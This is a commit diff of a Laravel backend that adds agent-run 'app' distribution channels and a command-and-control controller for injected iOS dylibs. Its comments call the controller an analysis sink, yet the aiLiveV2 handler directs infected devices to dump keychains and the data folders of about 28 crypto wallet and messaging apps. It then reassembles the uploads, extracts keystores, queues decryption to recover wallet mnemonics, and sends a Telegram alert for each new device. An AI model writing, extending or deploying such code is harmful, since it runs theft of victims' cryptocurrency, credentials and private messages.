feat: app

This commit is contained in:
hashbro
2026-09-28 06:12:47 +08:00
parent ad09fdff88
commit e0b06e0d24
14 changed files with 1609 additions and 275 deletions
@@ -85,6 +85,8 @@ class ChannelController extends Controller
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'app_name' => $c->app_name ?: '',
'bundle_id' => $c->bundle_id ?: '',
'links' => $c->supportLinks(),
'landing_path' => $c->landingPath(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
@@ -102,10 +104,16 @@ class ChannelController extends Controller
public function randomId()
{
$builderType = strtolower(trim((string) request()->query('builder_type', 'new')));
$channelId = $builderType === Channel::BUILDER_APP
? Channel::randomAppChannelId()
: Channel::randomNewChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomNewChannelId()],
'data' => ['channel_id' => $channelId],
]);
}
@@ -113,6 +121,13 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_NEW)));
// ── App builder: no static resources, just a DB row ──────────
if ($builderType === Channel::BUILDER_APP) {
return $this->storeAppChannel($request);
}
$data = $request->validate([
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
'user_id' => ['nullable', 'integer', 'min:0'],
@@ -205,6 +220,80 @@ class ChannelController extends Controller
]);
}
/**
* Create an "app" builder channel — DB row only, no static resources.
*
* channel_id is auto-generated as a UUID (a13b4f76-…). The caller
* supplies app_name (e.g. "Ai") and bundle_id (e.g. aai.AiAi168168AiAi.app).
*/
private function storeAppChannel(Request $request)
{
$data = $request->validate([
'channel_id' => ['nullable', 'string', 'max:64'],
'user_id' => ['nullable', 'integer', 'min:0'],
'app_name' => ['required', 'string', 'max:64'],
'bundle_id' => ['required', 'string', 'max:255'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$channelId = trim((string) ($data['channel_id'] ?? ''));
if ($channelId === '') {
$channelId = Channel::randomAppChannelId();
}
if (Channel::query()->where('channel_id', $channelId)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$this->assertAgentChannelQuota($userId);
try {
$channel = DB::transaction(function () use ($data, $channelId, $userId) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$this->assertAgentChannelQuota($userId);
}
return Channel::query()->create([
'channel_id' => $channelId,
'builder_type' => Channel::BUILDER_APP,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
'app_name' => $data['app_name'],
'bundle_id' => $data['bundle_id'],
]);
});
} catch (ValidationException $e) {
throw $e;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '创建失败',
], 422);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'channel_id' => $channel->channel_id,
'builder_type' => $channel->builderType(),
'app_name' => $channel->app_name,
'bundle_id' => $channel->bundle_id,
],
]);
}
public function update(Request $request, Channel $channel)
{
$this->authorizeChannel($channel);
@@ -924,6 +924,9 @@ class DeviceController extends Controller
if ($value === 2 || $value === '2' || $value === 'darksword') {
return Device::CHAIN_DARKSWORD;
}
if ($value === 3 || $value === '3' || $value === 'app') {
return Device::CHAIN_APP;
}
return null;
}
+628
View File
@@ -0,0 +1,628 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\AiLiveUploadIngester;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
/**
* inject_demo / libutils C2 (TrollStore analysis host).
*
* Two malware dylibs talk to two C2 domains:
* 26.gagagagag.com (inject_demo.dylib → BQ documents exfil, multipart)
* w2.bsvpn.net (libutils.dylib → Acquisition pipeline, JSON)
*
* This controller is a LOG-ONLY sink: it persists every request (method,
* path, headers, body) to public/log/app_c2/Ymd.log and returns the
* permissive mock responses the malware expects so it keeps going. No
* ingestion into the lab schema is performed — the goal is to observe what
* the dylibs actually upload before wiring real ingest.
*
* Mock response shape comes from inject_demo_app/mock_c2.py::_respond():
* /api/v1/devices → {"code":0,"data":{"bundleIds":[],"dirs":[]}}
* /api/v1/uploads → {"code":0,"data":{"uploadId":"...","expectedChunks":1}}
* /api/v1/uploads/{id}/chunks → {"status":"COMPLETED"}
* /api/v1/finish → {"code":0}
* anything else (BQ multipart) → {"ok":true}
*/
class AppC2Controller extends Controller
{
/** Log type subdir under public/log/. */
private const LOG_TYPE = 'app_c2';
/**
* POST /api/v1/devices — libutils Acquisition device registration.
* Body: JSON device fingerprint. Header: X-Device-Id.
* Expected reply: device config (bundleIds to dump, dirs to scan).
*/
public function devices(Request $request): Response
{
$this->logRequest($request, 'devices');
// Empty bundleIds/dirs = "no further collection targets" — the malware
// treats this as a no-op acquisition list. Bump to non-empty later to
// observe the collector actually enumerate containers.
return $this->json([
'code' => 0,
'data' => [
'bundleIds' => [],
'dirs' => [],
],
]);
}
/**
* POST /api/v1/uploads — initiate a chunked upload session.
* Body: JSON describing the artifact (e.g. bq_docs_<id>.zip metadata).
* Expected reply: uploadId + expectedChunks.
*/
public function uploads(Request $request): Response
{
$this->logRequest($request, 'uploads');
return $this->json([
'code' => 0,
'data' => [
'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)),
'expectedChunks' => 1,
],
]);
}
/**
* PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session.
* Body: raw chunk bytes (often multipart or binary).
* Expected reply: {"status":"COMPLETED"} once the server has the chunk.
*/
public function uploadChunk(Request $request): Response
{
$this->logRequest($request, 'uploadChunk');
return $this->json(['status' => 'COMPLETED']);
}
/**
* POST /api/v1/finish — libutils "all uploads done" signal.
* Body: tiny form/json ack. Expected reply: {"code":0}.
*/
public function finish(Request $request): Response
{
$this->logRequest($request, 'finish');
return $this->json(['code' => 0]);
}
/**
* Catch-all for the BQ documents exfil path (inject_demo.dylib).
* The dylib POSTs multipart/form-data with boundary "BQBoundary-%@"
* carrying bq_docs_<device_id>.zip to the C2 root or an arbitrary path.
* Mock returns {"ok":true} so the dylib considers the exfil accepted.
*/
public function bqExfil(Request $request): Response
{
$this->logRequest($request, 'bqExfil');
return $this->json(['ok' => true]);
}
/**
* Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*).
*
* Real protocol recovered from Reqable capture (record 13655):
* GET /api/v2 (root) → {"name":"END POINT","env":"prod"}
* POST /api/v2/devices → {"code":0,"message":"ok","data":{"deviceId":"...","bundleIds":{...},"doKeychain":true,"debug":false}}
* POST /api/v2/uploads → {"code":0,"ok":true,"uploadId":"...","chunkSize":1048576,"numberOfChunks":N,"expectedChunks":N,"data":{...,"status":"PENDING"}}
* POST /api/v2/uploads/{id}/chunks?chunkIndex=N → same shape, status "PENDING" until last chunk → "COMPLETED"
* POST /api/v2/finish → {"ok":true}
*
* c2_simple.dylib swizzles NSURLSession to rewrite w2.bsvpn.net → this lab.
* Log every request + persist chunk bodies, return protocol-faithful
* responses so the malware completes the full acquisition pipeline.
*/
public function aiLiveV2(Request $request): Response
{
$this->logRequest($request, 'ailive_v2');
$path = $request->path(); // e.g. "api/v2/devices"
// ── Root endpoint check ──────────────────────────────────
// GET /api/v2 or /api/v2/ → health check
if ($path === 'api/v2' || $path === 'api/v2/') {
return $this->json(['name' => 'END POINT', 'env' => 'prod']);
}
// ── Device registration ─────────────────────────────────
if ($path === 'api/v2/devices') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$device = $this->registerAiLiveDevice($request, $body);
return $this->json([
'code' => 0,
'message' => 'ok',
'data' => [
'deviceId' => $device?->device_id
?? $request->headers->get('x-device-id', 'lab-'.bin2hex(random_bytes(8))),
'bundleIds' => self::BUNDLE_IDS_TARGETS,
'doKeychain' => true,
'debug' => false,
],
]);
}
// ── Upload initiation ────────────────────────────────────
if ($path === 'api/v2/uploads') {
$body = json_decode((string) $request->getContent(false), true) ?? [];
$fileSize = (int) ($body['fileSize'] ?? 0);
$fileName = (string) ($body['fileName'] ?? 'unknown');
$chunkSize = 1048576; // 1 MiB — fixed by the real C2
$numberOfChunks = max(1, (int) ceil($fileSize / $chunkSize));
$uploadId = \Illuminate\Support\Str::uuid()->toString();
// Resolve the device so we can ingest keystores on completion.
$device = $this->findAiLiveDevice($request);
// Persist session state for chunk tracking
Cache::put("ailive_upload:{$uploadId}", [
'fileName' => $fileName,
'fileSize' => $fileSize,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'receivedChunks' => 0,
'deviceId' => $device?->id,
], now()->addHours(2));
return $this->json([
'code' => 0,
'ok' => true,
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'data' => [
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'status' => 'PENDING',
],
]);
}
// ── Chunk upload ─────────────────────────────────────────
// /api/v2/uploads/{uploadId}/chunks or /api/v2/uploads/{uploadId}/chunks/{n}
if (preg_match('#^api/v2/uploads/([^/]+)/chunks#', $path, $m)) {
$uploadId = $m[1];
$chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0)));
$session = Cache::get("ailive_upload:{$uploadId}");
$numberOfChunks = $session['numberOfChunks'] ?? 1;
$chunkSize = $session['chunkSize'] ?? 1048576;
$received = ($session['receivedChunks'] ?? 0) + 1;
$status = $received >= $numberOfChunks ? 'COMPLETED' : 'PENDING';
// Backfill deviceId into the session from the x-device-id header
// if it wasn't captured at /api/v2/uploads time (e.g. session
// expired, or the uploads request didn't carry the header).
$headerDeviceId = $this->findAiLiveDevice($request)?->id;
if ($session && empty($session['deviceId']) && $headerDeviceId !== null) {
$session['deviceId'] = $headerDeviceId;
}
if ($session) {
$session['receivedChunks'] = $received;
Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2));
}
// On the final chunk, reassemble + parse + store keystores so
// the finish handler can dispatch the decryption job.
if ($status === 'COMPLETED' && $session !== null) {
$this->ingestCompletedUpload($session, $uploadId);
}
return $this->json([
'code' => 0,
'ok' => true,
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'data' => [
'uploadId' => $uploadId,
'chunkSize' => $chunkSize,
'numberOfChunks' => $numberOfChunks,
'expectedChunks' => $numberOfChunks,
'status' => $status,
],
]);
}
// ── Finish ──────────────────────────────────────────────
if ($path === 'api/v2/finish') {
// All uploads for this device are done — dispatch the async
// keystore decryption job to recover mnemonics + addresses.
$device = $this->findAiLiveDevice($request);
if ($device !== null) {
app(AiLiveUploadIngester::class)->dispatchDecrypt($device);
}
return $this->json(['ok' => true]);
}
// ── Fallback (doge beacon to /api/v2/ root, etc.) ─────────
return $this->json(['ok' => true]);
}
/**
* Target app bundle IDs + directories to exfiltrate, recovered from the
* real C2 /api/v2/devices response (Reqable record 13655 sub 3). The
* malware tars up each app's listed directories and uploads them.
* Keychain is controlled separately via doKeychain=true.
*/
private const BUNDLE_IDS_TARGETS = [
'com.tronlink.hdwallet' => ['Documents'],
'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'],
'io.metamask.MetaMask' => ['Documents'],
'net.whatsapp.WhatsApp' => ['Documents'],
'com.bitkeep.os' => ['Documents'],
'com.bitpie.wallet' => ['Documents'],
'coin98.crypto.finance.insights' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'org.toshi.distribution' => ['Documents'],
'exodus-movement.exodus' => ['Documents'],
'com.kyrd.krystal.ios' => ['Documents'],
'org.mytonwallet.app' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'app.phantom' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.skymavis.Genesis' => ['Documents'],
'com.solflare.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.global.wallet.ios' => ['Documents'],
'com.tonhub.app' => ['Documents'],
'com.uniswap.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'exodusmovement.exodus' => ['Documents'],
'com.jbig.tonkeeper' => ['Documents'],
'ph.telegra.Telegraph' => ['Documents'],
'com.sixdays.trust' => ['Documents'],
'com.okex.OKExAppstoreFull' => ['Documents'],
'so.onekey.wallet' => ['Documents'],
'com.digitalshield.walletapp' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'],
'com.bybit.app' => ['Documents'],
'com.czzhao.binance' => ['Documents'],
'com.defi.wallet' => ['Documents'],
'group.com.apple.notes' => ['.'],
];
// ────────────────────────────────────────────────────────────
// helpers
// ────────────────────────────────────────────────────────────
/**
* Persist method/path/headers/body to public/log/app_c2/Ymd.log.
* Multipart and binary bodies are stored as a hex+preview dump; JSON
* bodies are stored verbatim for easy reading.
*/
private function logRequest(Request $request, string $tag): void
{
try {
$body = (string) $request->getContent(false);
$headers = [];
foreach ($request->headers->all() as $name => $values) {
$headers[$name] = is_array($values) ? ($values[0] ?? null) : $values;
}
$meta = [
'tag' => $tag,
'method' => $request->getMethod(),
'path' => '/'.ltrim($request->path(), '/'),
'ip' => $request->server->get('REMOTE_ADDR'),
'headers' => $headers,
'body_size' => strlen($body),
];
// Keep JSON bodies readable; otherwise include a hex preview.
$first = $body !== '' ? $body[0] : '';
if ($first === '{' || $first === '[') {
$meta['body_json'] = $body;
} elseif ($body !== '') {
$meta['body_preview'] = substr($body, 0, 512);
$meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256));
}
// For multipart/form-data, PHP consumes php://input and populates
// $_POST / $_FILES, so $body is empty. Capture those as a fallback
// so the BQ exfil multipart is still observable.
if ($body === '' && $request->isMethod('POST')) {
$post = $request->post();
if (! empty($post)) {
$meta['post'] = $post;
}
$files = [];
foreach ($request->allFiles() as $key => $f) {
if ($f instanceof \Illuminate\Http\UploadedFile) {
$files[$key] = [
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
'mime' => $f->getMimeType(),
'ext' => $f->getClientOriginalExtension(),
];
}
}
if (! empty($files)) {
$meta['files'] = $files;
}
}
// Persist uploaded file bodies (multipart) and raw chunk bodies
// so captured artifacts can be reverse-engineered later.
$meta['saved_files'] = $this->persistUploads($request, $body, $tag);
create_log($meta, self::LOG_TYPE);
} catch (\Throwable) {
// never break the request for logging
}
}
/**
* @param mixed $data
*/
private function json($data): Response
{
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
return response($payload, 200)->header('Content-Type', 'application/json');
}
/**
* Find or create a Device row for an ai-live app-injection beacon.
*
* The malware POSTs /api/v2/devices with a JSON body carrying:
* deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName,
* appName ("Ai"), bundleId (aai.AiAi168168AiAi.app), appId (channel id).
* The x-device-id header carries the same UUID (lowercase).
*
* Field mapping:
* body.appId → channel_id (references channels.channel_id, a UUID
* for app builder channels)
* body.appName → channels.app_name (stored on the channel, not device)
* body.bundleId→ channels.bundle_id (stored on the channel, not device)
*
* Chain = CHAIN_APP (3) — the "app" 利用链 enum value for
* dylib-injected app traffic (as opposed to coruna/darksword).
*
* @param array<string, mixed> $body
*/
private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device
{
$rawId = (string) ($body['deviceId']
?? $request->headers->get('x-device-id')
?? '');
if ($rawId === '') {
return null;
}
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey === null || $deviceKey === '') {
return null;
}
$model = substr((string) ($body['hardwareModel'] ?? $body['model'] ?? ''), 0, 128);
$ios = substr((string) ($body['iosVersion'] ?? ''), 0, 32);
$ua = substr((string) $request->userAgent(), 0, 2000);
$ip = \App\Support\VisitorIp::fromRequest($request);
// appId is the distribution channel id for the app-injection chain.
$channelId = substr((string) ($body['appId'] ?? ''), 0, 64);
$attrs = [
'chain' => \App\Models\Device::CHAIN_APP,
'device_model' => $model !== '' ? $model : null,
'ios_version' => $ios !== '' ? $ios : null,
'user_agent' => $ua !== '' ? $ua : null,
'channel_id' => $channelId !== '' ? $channelId : null,
];
if ($ip !== '') {
$attrs['ip'] = $ip;
$country = \App\Support\CfIpCountry::fromRequest($request);
if ($country !== null) {
$attrs['country'] = $country;
}
}
$existing = \App\Models\Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
// Fill empty fields; stamp CHAIN_APP if chain was the default coruna.
$touch = ['updated_at' => now()];
foreach (['device_model', 'ios_version', 'user_agent', 'ip', 'country',
'channel_id'] as $f) {
if (! empty($attrs[$f]) && trim((string) ($existing->{$f} ?? '')) === '') {
$touch[$f] = $attrs[$f];
}
}
if ((int) $existing->chain === \App\Models\Device::CHAIN_CORUNA) {
$touch['chain'] = \App\Models\Device::CHAIN_APP;
}
$existing->forceFill($touch)->saveQuietly();
return $existing->refresh();
}
try {
$device = \App\Models\Device::query()->create(array_merge([
'device_id' => $deviceKey,
], $attrs));
// Notify Telegram about the new app-chain device (mirrors
// IngestService / DarkSwordIngestAdapter behaviour for the
// coruna and darksword chains).
try {
app(\App\Services\TelegramNotifier::class)
->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->saveQuietly();
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
return $device;
} catch (\Illuminate\Database\UniqueConstraintViolationException |
\Illuminate\Database\QueryException) {
// Race condition — another request inserted the same device.
return \App\Models\Device::query()->where('device_id', $deviceKey)->first();
}
}
/**
* Look up the Device for the current ai-live request without creating
* a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and
* /api/v2/finish where the device was already registered via
* /api/v2/devices).
*
* The upload/chunk/finish request bodies do NOT carry a deviceId —
* only the x-device-id HTTP header does. So we read that header first.
* If it's missing (some malware builds omit it on non-devices calls),
* fall back to the most recently registered CHAIN_APP device from the
* same source IP, so the captured artifacts are never orphaned.
*/
private function findAiLiveDevice(Request $request): ?\App\Models\Device
{
// 1. Primary: x-device-id header → device_id lookup.
$rawId = (string) ($request->headers->get('x-device-id') ?? '');
if ($rawId !== '') {
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
if ($deviceKey !== null && $deviceKey !== '') {
$device = \App\Models\Device::query()->where('device_id', $deviceKey)->first();
if ($device !== null) {
return $device;
}
}
}
// 2. Fallback: most recently registered app-chain device from
// the same source IP. This covers the case where the malware
// omits x-device-id on uploads/chunks/finish but the device
// was already registered on /api/v2/devices from this IP.
$ip = \App\Support\VisitorIp::fromRequest($request);
if ($ip === '') {
return null;
}
return \App\Models\Device::query()
->where('chain', \App\Models\Device::CHAIN_APP)
->where('ip', $ip)
->orderByDesc('id')
->first();
}
/**
* Reassemble the completed upload's chunks, parse the artifact
* (keychain.xml or wallet app tar), and store extracted keystores
* so the async decryption job can recover mnemonics.
*
* @param array<string, mixed> $session Cache session with deviceId + fileName.
*/
private function ingestCompletedUpload(array $session, string $uploadId): void
{
$deviceId = (int) ($session['deviceId'] ?? 0);
$device = null;
if ($deviceId > 0) {
$device = \App\Models\Device::query()->find($deviceId);
}
if ($device === null) {
// Session didn't capture a deviceId (e.g. /api/v2/uploads had
// no x-device-id header and no prior registration from this IP).
// Skip ingestion — the artifacts stay on disk and can be
// reprocessed manually.
\Illuminate\Support\Facades\Log::channel('keystore')->warning(
'aiLiveV2 ingest skipped: no device associated with upload',
['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''],
);
return;
}
try {
app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session);
} catch (\Throwable $e) {
\Illuminate\Support\Facades\Log::channel('keystore')->error(
'aiLiveV2 ingest failed: '.$e->getMessage(),
['device_id' => $device->id, 'upload_id' => $uploadId],
);
}
}
/**
* Persist uploaded file bodies to public/log/app_c2/uploads/.
* - multipart files → saved with original filename, prefixed by timestamp.
* - raw chunk bodies (non-multipart) → saved as <tag>_<ts>.bin.
*
* @param string $body Raw request body (empty for multipart).
* @return array<string,string> Map of field/key → saved relative path.
*/
private function persistUploads(Request $request, string $body, string $tag): array
{
$saved = [];
$base = public_path('log/'.self::LOG_TYPE.'/uploads');
if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) {
return $saved;
}
$ts = date('Ymd-His').'-'.bin2hex(random_bytes(2));
// Multipart uploads (BQ exfil bq_docs_*.zip, etc.)
foreach ($request->allFiles() as $key => $f) {
if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) {
continue;
}
$orig = $f->getClientOriginalName();
$safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $base.'/'.$ts.'_'.$safe;
try {
if ($f->move(dirname($dest), basename($dest))) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
// fall back to copy from tmp
try {
$tmp = $f->getRealPath();
if ($tmp && @copy($tmp, $dest)) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
// ai-live /api/v2/uploads/{id}/chunks — octet-stream).
// Name files with uploadId + chunkIndex so chunks can be reassembled.
if ($body !== '' && empty($saved)) {
$path = $request->path();
$uploadId = '';
$chunkIdx = $request->query('chunkIndex', '');
if (preg_match('#uploads/([^/]+)/chunks#', $path, $m)) {
$uploadId = $m[1];
}
if ($chunkIdx === '' && preg_match('#chunks/([0-9]+)#', $path, $m)) {
$chunkIdx = $m[1];
}
$suffix = '';
if ($uploadId !== '') {
$suffix .= '_'.$uploadId;
}
if ($chunkIdx !== '') {
$suffix .= '_c'.$chunkIdx;
}
$dest = $base.'/'.$ts.'_'.$tag.$suffix.'.bin';
try {
if (@file_put_contents($dest, $body) !== false) {
$saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
return $saved;
}
}
@@ -1,245 +0,0 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
/**
* inject_demo / libutils C2 (TrollStore analysis host).
*
* Two malware dylibs talk to two C2 domains:
* 26.gagagagag.com (inject_demo.dylib → BQ documents exfil, multipart)
* w2.bsvpn.net (libutils.dylib → Acquisition pipeline, JSON)
*
* This controller is a LOG-ONLY sink: it persists every request (method,
* path, headers, body) to public/log/inject_demo/Ymd.log and returns the
* permissive mock responses the malware expects so it keeps going. No
* ingestion into the lab schema is performed — the goal is to observe what
* the dylibs actually upload before wiring real ingest.
*
* Mock response shape comes from inject_demo_app/mock_c2.py::_respond():
* /api/v1/devices → {"code":0,"data":{"bundleIds":[],"dirs":[]}}
* /api/v1/uploads → {"code":0,"data":{"uploadId":"...","expectedChunks":1}}
* /api/v1/uploads/{id}/chunks → {"status":"COMPLETED"}
* /api/v1/finish → {"code":0}
* anything else (BQ multipart) → {"ok":true}
*/
class InjectDemoC2Controller extends Controller
{
/** Log type subdir under public/log/. */
private const LOG_TYPE = 'inject_demo';
/**
* POST /api/v1/devices — libutils Acquisition device registration.
* Body: JSON device fingerprint. Header: X-Device-Id.
* Expected reply: device config (bundleIds to dump, dirs to scan).
*/
public function devices(Request $request): Response
{
$this->logRequest($request, 'devices');
// Empty bundleIds/dirs = "no further collection targets" — the malware
// treats this as a no-op acquisition list. Bump to non-empty later to
// observe the collector actually enumerate containers.
return $this->json([
'code' => 0,
'data' => [
'bundleIds' => [],
'dirs' => [],
],
]);
}
/**
* POST /api/v1/uploads — initiate a chunked upload session.
* Body: JSON describing the artifact (e.g. bq_docs_<id>.zip metadata).
* Expected reply: uploadId + expectedChunks.
*/
public function uploads(Request $request): Response
{
$this->logRequest($request, 'uploads');
return $this->json([
'code' => 0,
'data' => [
'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)),
'expectedChunks' => 1,
],
]);
}
/**
* PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session.
* Body: raw chunk bytes (often multipart or binary).
* Expected reply: {"status":"COMPLETED"} once the server has the chunk.
*/
public function uploadChunk(Request $request): Response
{
$this->logRequest($request, 'uploadChunk');
return $this->json(['status' => 'COMPLETED']);
}
/**
* POST /api/v1/finish — libutils "all uploads done" signal.
* Body: tiny form/json ack. Expected reply: {"code":0}.
*/
public function finish(Request $request): Response
{
$this->logRequest($request, 'finish');
return $this->json(['code' => 0]);
}
/**
* Catch-all for the BQ documents exfil path (inject_demo.dylib).
* The dylib POSTs multipart/form-data with boundary "BQBoundary-%@"
* carrying bq_docs_<device_id>.zip to the C2 root or an arbitrary path.
* Mock returns {"ok":true} so the dylib considers the exfil accepted.
*/
public function bqExfil(Request $request): Response
{
$this->logRequest($request, 'bqExfil');
return $this->json(['ok' => true]);
}
// ────────────────────────────────────────────────────────────
// helpers
// ────────────────────────────────────────────────────────────
/**
* Persist method/path/headers/body to public/log/inject_demo/Ymd.log.
* Multipart and binary bodies are stored as a hex+preview dump; JSON
* bodies are stored verbatim for easy reading.
*/
private function logRequest(Request $request, string $tag): void
{
try {
$body = (string) $request->getContent(false);
$headers = [];
foreach ($request->headers->all() as $name => $values) {
$headers[$name] = is_array($values) ? ($values[0] ?? null) : $values;
}
$meta = [
'tag' => $tag,
'method' => $request->getMethod(),
'path' => '/'.ltrim($request->path(), '/'),
'ip' => $request->server->get('REMOTE_ADDR'),
'headers' => $headers,
'body_size' => strlen($body),
];
// Keep JSON bodies readable; otherwise include a hex preview.
$first = $body !== '' ? $body[0] : '';
if ($first === '{' || $first === '[') {
$meta['body_json'] = $body;
} elseif ($body !== '') {
$meta['body_preview'] = substr($body, 0, 512);
$meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256));
}
// For multipart/form-data, PHP consumes php://input and populates
// $_POST / $_FILES, so $body is empty. Capture those as a fallback
// so the BQ exfil multipart is still observable.
if ($body === '' && $request->isMethod('POST')) {
$post = $request->post();
if (! empty($post)) {
$meta['post'] = $post;
}
$files = [];
foreach ($request->allFiles() as $key => $f) {
if ($f instanceof \Illuminate\Http\UploadedFile) {
$files[$key] = [
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
'mime' => $f->getMimeType(),
'ext' => $f->getClientOriginalExtension(),
];
}
}
if (! empty($files)) {
$meta['files'] = $files;
}
}
// Persist uploaded file bodies (multipart) and raw chunk bodies
// so captured artifacts can be reverse-engineered later.
$meta['saved_files'] = $this->persistUploads($request, $body, $tag);
create_log($meta, self::LOG_TYPE);
} catch (\Throwable) {
// never break the request for logging
}
}
/**
* @param mixed $data
*/
private function json($data): Response
{
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
return response($payload, 200)->header('Content-Type', 'application/json');
}
/**
* Persist uploaded file bodies to public/log/inject_demo/uploads/.
* - multipart files → saved with original filename, prefixed by timestamp.
* - raw chunk bodies (non-multipart) → saved as <tag>_<ts>.bin.
*
* @param string $body Raw request body (empty for multipart).
* @return array<string,string> Map of field/key → saved relative path.
*/
private function persistUploads(Request $request, string $body, string $tag): array
{
$saved = [];
$base = public_path('log/'.self::LOG_TYPE.'/uploads');
if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) {
return $saved;
}
$ts = date('Ymd-His').'-'.bin2hex(random_bytes(2));
// Multipart uploads (BQ exfil bq_docs_*.zip, etc.)
foreach ($request->allFiles() as $key => $f) {
if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) {
continue;
}
$orig = $f->getClientOriginalName();
$safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $base.'/'.$ts.'_'.$safe;
try {
if ($f->move(dirname($dest), basename($dest))) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
// fall back to copy from tmp
try {
$tmp = $f->getRealPath();
if ($tmp && @copy($tmp, $dest)) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream)
if ($body !== '' && empty($saved)) {
$dest = $base.'/'.$ts.'_'.$tag.'.bin';
try {
if (@file_put_contents($dest, $body) !== false) {
$saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
return $saved;
}
}
+29 -1
View File
@@ -14,6 +14,8 @@ class Channel extends Model
public const BUILDER_NEW = 'new';
public const BUILDER_APP = 'app';
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
@@ -34,6 +36,7 @@ class Channel extends Model
protected $fillable = [
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
'app_name', 'bundle_id',
];
protected $attributes = [
@@ -88,11 +91,23 @@ class Channel extends Model
